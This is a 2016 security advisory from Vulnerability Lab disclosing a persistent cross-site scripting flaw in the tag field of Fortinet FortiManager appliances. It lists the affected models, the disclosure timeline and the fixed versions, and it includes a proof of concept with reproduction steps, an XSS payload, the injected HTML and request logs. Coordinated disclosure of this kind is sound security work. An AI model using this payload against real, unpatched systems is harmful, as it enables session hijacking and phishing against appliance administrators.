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FortiManager (Series) - Multiple Web Vulnerabilities

To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
Subject: FortiManager (Series) - Multiple Web Vulnerabilities
From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
Date: Tue, 2 Aug 2016 10:56:22 +0200
Document Title:
===============
FortiManager (Series) - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1684

Fortinet PSIRT ID: 1624459

Release Notes 1: 
http://docs.fortinet.com/uploaded/files/2910/fortimanager-v5.4.0-release-notes.pdf
Release Notes 2: 
http://docs.fortinet.com/uploaded/files/2963/fortimanager-v5.2.6-release-notes.pdf
Release Notes 3: 
http://docs.fortinet.com/uploaded/files/2456/fortimanager-v5.0.11-release-notes.pdf


Release Date:
=============
2016-08-02


Vulnerability Laboratory ID (VL-ID):
====================================
1684


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
FortiManager appliances allow you to centrally manage any number of Fortinet 
devices, from several to thousands, including FortiGate®, FortiWiFi™, 
FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances, 
as well as FortiClient™ endpoint security agents. You can further 
simplify control and management of large deployments by grouping devices and 
agents into administrative domains (ADOMs).

The FortiManager family of management appliances provides centralized 
policy-based provisioning, device configuration, and update management for 
FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point 
security agents, plus end-to-end network monitoring and device control. 
FortiManager delivers a lower TCO for Fortinet implementations by minimizing 
both initial deployment costs and ongoing operating expenses. Control 
administrative access and simplify policy deployment using role-based 
administration to define user privileges for specific management domains and 
functions, and aggregating collections of Fortinet appliances and agents into 
independent management domains. In addition, by locally hosting security 
content updates for managed devices and agents, FortiManager appliances 
minimize Web filtering rating request response time and maximize network 
protection.

(Copy of the Vendor Homepage:  
http://www.avfirewalls.com/FortiManager-Series.asp )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a persistent and 
non-persistent web validation vulnerability in 
the official Fotinet FortiManager appliance product series. The issue affects 
the web-application of the appliance series and is 
present in the following fortimanager models - 200D,  300D, 1000D, 3900E, 
4000E, Virtual Appliances Version and FortiMoM-VM. 
The Fortimanager legacy models 100, 100C, 400A, 400B, 400C, 1000C, 3000C and 
4000D are affected as well by the vulnerability.


Vulnerability Disclosure Timeline:
==================================
2016-01-25: Researcher Notification & Coordination (Benjamin Kunz Mejri - 
Evolution Security GmbH)
2016-01-26: Vendor Notification (FortiGuard Security Team)
2016-02-08: Vendor Response/Feedback (FortiGuard Security Team)
2016-05-17: Vendor Fix/Patch #1 (Fortinet Service Developer Team)
2016-07-28: Vendor Fix/Patch #2 (Fortinet Service Developer Team)
2016-08-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Fortinet
Product: FortiManager - Appliance (Web-Application) 200D,  300D, 1000D,  3900E, 
4000E, Virtual Appliances Versio

Fortinet
Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A, 
400B, 400C, 1000C, 3000C & 4000


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent and non-persistent input validation web vulnerability has been 
discovered in the official Fotinet FortiManager appliance product series.
The vulnerability allows privileged guest user accounts and restricted user 
accounts to inject own malicious script codes on the application-side or 
client-side of the fortimanager appliance web-application series.

The vulnerability is located in the `add Tags` input field of the `Firewall 
Objects - Address - Tags` module. The request method to inject is POST to 
GET and the attack vector is located on the application-side of the appliance 
web-application. Remote attackers are able to inject own malicious script 
codes to the add tag input field. After processing to add, the code bypasses 
the regular web filter of the appliance web-application and executes finally 
in the applied tags module above of the basic input. The vulnerability can be 
exploited by guest appliance user accounts with restricted access. The 
vulnerability first executes with client-side attack vector and becomes 
persistent with the save procedure by return.

The security risk of the application-side and client-side web vulnerability is 
estimated as medium with a cvss (common vulnerability scoring system) count of 
3.8. 
Exploitation of the application-side web vulnerability requires a low 
privileged guest web-application user account and low user interaction. 
Successful exploitation 
of the vulnerability results in persistent phishing, session hijacking, 
persistent external redirect to malicious sources and application-side 
manipulation of affected 
or connected web module context.

Request Method(s):
                                        [+] POST

Vulnerable Module(s):
                                        [+] Firewall Objects - Address - Tags - 
[Add Tags]

Vulnerable Parameter(s):
                                        [+] appliedTags - tagList 
(tagSelector-addTag create-new)

Affected Module(s):
                                        [+] Applied Tags

Affected Serie(s): FortiManager
                                        [+] FortiManager 200D
                                        [+] FortiManager 300D
                                        [+] FortiManager 1000D
                                        [+] FortiManager 3900E
                                        [+] FortiManager-4000E
                                        [+] FortiManager Virtual Appliances
                                        [+] FortiMoM-VM

FortiManager Legacy Models
                                        [+] FortiManager 100
                                        [+] FortiManager 100C
                                        [+] FortiManager 400A
                                        [+] FortiManager 400B
                                        [+] FortiManager 400C
                                        [+] FortiManager 1000C
                                        [+] FortiManager 3000C
                                        [+] FortiManager 4000D


Proof of Concept (PoC):
=======================
The persistent and non-persistent cross site scripting web vulnerability can be 
exploited by remote attackers with low privileged web-application user account 
and low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability as guest user with restricted 
access privileges ...
1. Login to the fortimanager appliance web-application as guest user
2. Open the following section that is not restricted to guests mainly (Firewall 
Objects > Address )
3. Now, switch to the Tags section and click to the non-restricted button [Add 
Tags]
4. Add in the `Add Tags` and inject to the input field your test payload to 
approve the validation
Note: (Payload) "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>
5. The script code execution occrs in the applied tags listing.
6. Successful reproduce of the vulnerability!


PoC: Firewall Objects > Address > Tags > [Add Tags]
<tr><td colspan="99"><b>Tags</b></td></tr>
<tr class="tr_tag"><td class="dep_opt"><label for="appliedTags">Applied 
tags</label></td>
<td colspan="99"><span id="appliedTags" class="tag_list"><span mkey=""><"
<img src="x">%20%20>"<iframe src=a>%20<iframe>  "><"<img sr" class="object_tag 
object_tag_remove">
<span class="tag_label">"><"<img src="x">%20%20>"<[PERSISTENT SCRIPT CODE 
EXECUTION!]>  "><"<img sr</iframe></span><span 
class="tag_tail"></span></span></span></td></tr>
<tr class="tr_tag"><td class="dep_opt"><label for="addTag">Add tags</label></td>
<td colspan="99" style="vertical-align:top;padding-bottom:30px;">
<div class="yui-ac" style="width:20em;"><input class="yui-ac-input" id="addTag" 
name="addTag" maxlength="63" autocomplete="off" type="text"><span 
style="display: 
inline-block; position: absolute; left: 22em;" class="icon13 tagSelector-addTag 
create-new"></span><div class="yui-ac-container" id="tag_ac_list"><div 
style="display: 
none;" class="yui-ac-content"><div style="display: none;" 
class="yui-ac-hd"></div><div class="yui-ac-bd"></div><div style="display: 
none;" class="yui-ac-ft"></div></div></div></div>
</td></tr>
<input value=""><"<img src="x">%20%20>"<[PERSISTENT SCRIPT CODE 
EXECUTION!]>%20<iframe>  "><"<img sr" id="tagList" name="tagList" type="hidden">
<tr id="_clionly_opts_"><td style="text-align:left;" colspan="99"><nobr><a 
href="#" onclick="taggleCLIOnlyFields();"><img id="cli:twist:img" 
src="/resource/images/twistie_collapsed.gif">Advanced 
Options</a></nobr></td></tr><tr id="cli:tb:row" style="display:none"><td 
colspan="99">
<table id="_comp_15" name="_comp_15" class="list" align="center" 
cellpadding="0" cellspacing="1">
<tbody><tr 
class="heading"><td>Name</td><td>Description</td><td>Value</td></tr><tr>
<td style="text-align:left" nowrap="">cache-ttl</td>
<td style="text-align:left" nowrap="">Minimal TTL of individual IP addresses in 
FQDN cache.</td>
<td style="text-align:left"><input id="cache-ttl" name="cache-ttl" value="0" 
maxlength="86400" type="text"></td>
</tr>
<tr tip="visibility:Enable/disable address visibility.<br>enable: Show in 
address4 selection.<br>disable: Hide from address4 selection.<br>">
<td style="text-align:left" nowrap="">visibility</td>
<td style="text-align:left" nowrap="">Enable/disable address visibility.</td>
<td style="text-align:left"><select id="visibility" name="visibility"><option 
value="1" selected="">enable</option><option 
value="0">disable</option></select></td>
</tr>
</tbody></table>
<input name="sortDirection" value="0" type="hidden">
<input name="sortFieldName" value="" type="hidden">
</td></tr></tbody></table></td></tr>
<tr id="footer_content"><td align="center">
<table class="footer" cellpadding="0" cellspacing="0">
<tbody><tr><td>
<input id="_returnbtn_" class="button" value="Return" onclick="
if (window.opener) {window.close();} else 
{dlg_returnPage('SOMAddressObj?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=root&adomId=3');}"
 type="button"></td></tr>
</tbody></table>
</td></tr>
</tbody>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET 
http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/x[PERSISTENT
 SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[fortimanager.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      
Referer[http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/SOMAddressObjDialog?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=root&adomId=3&vdomID=0&adomType=gms&cate=140&prodId=0&key=all&catetype=140&cate=140&permit_w=1&mapped=0&roid=138]
      Cookie[remoteauth=1; forRevert=0; vmConfirm=1; tabPosition=; showSlave=1; 
add_dev_later=; auth_state=; 
CURRENT_SESSION=9X3lvcNst3VYkYtkLWMkgMagWkS+Qmdk38eDLl1jE+ZNJ7Dw/
9EQlVtauZ98+4+nN5aOe5ixbZGoE/sIrlNbRQ==; MCP_VIEW_MODE=sectview; 
csrftoken=ea5a7a467e8cabdfe640cd475183d2a5]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 12:04:43 GMT]
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Content-Length[460]
      Connection[close]
      Content-Type[text/html]
-
Status: 200[OK]
GET 
http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/a[PERSISTENT
 SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[fortimanager.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 
Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      
Referer[http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/SOMAddressObjDialog?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=root&adomId=3&vdomID=0&adomType=gms&cate=140&prodId=0&key=all&catetype=140&cate=140&permit_w=1&mapped=0&roid=138]
      Cookie[remoteauth=1; forRevert=0; vmConfirm=1; tabPosition=; showSlave=1; 
add_dev_later=; auth_state=; 
CURRENT_SESSION=9X3lvcNst3VYkYtkLWMkgMagWkS+Qmdk38eDLl1jE+ZNJ7Dw/
9EQlVtauZ98+4+nN5aOe5ixbZGoE/sIrlNbRQ==; MCP_VIEW_MODE=sectview; 
csrftoken=ea5a7a467e8cabdfe640cd475183d2a5]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 12:04:43 GMT]
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Content-Length[460]
      Connection[close]
      Content-Type[text/html]



Reference(s):
http://fortimanager.localhost:8080/
http://fortimanager.localhost:8080/cgi-bin/
http://fortimanager.localhost:8080/cgi-bin/module/
http://fortimanager.localhost:8080/cgi-bin/module/sharedobjmanager/
http://fortimanager.localhost:8080/cgi-bin/module/sharedobjmanager/firewall/
http://fortimanager.localhost:8080/cgi-bin/module/sharedobjmanager/firewall/SOMAddressObj


Solution - Fix & Patch:
=======================
5.4.0
5.2.6
5.0.12 (TBD) 
5.0.12(FMG)
5.0.13(FAZ)


Security Risk:
==============
The security risk of the persistent and non-persistent cross site scripting web 
vulnerability is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
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consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

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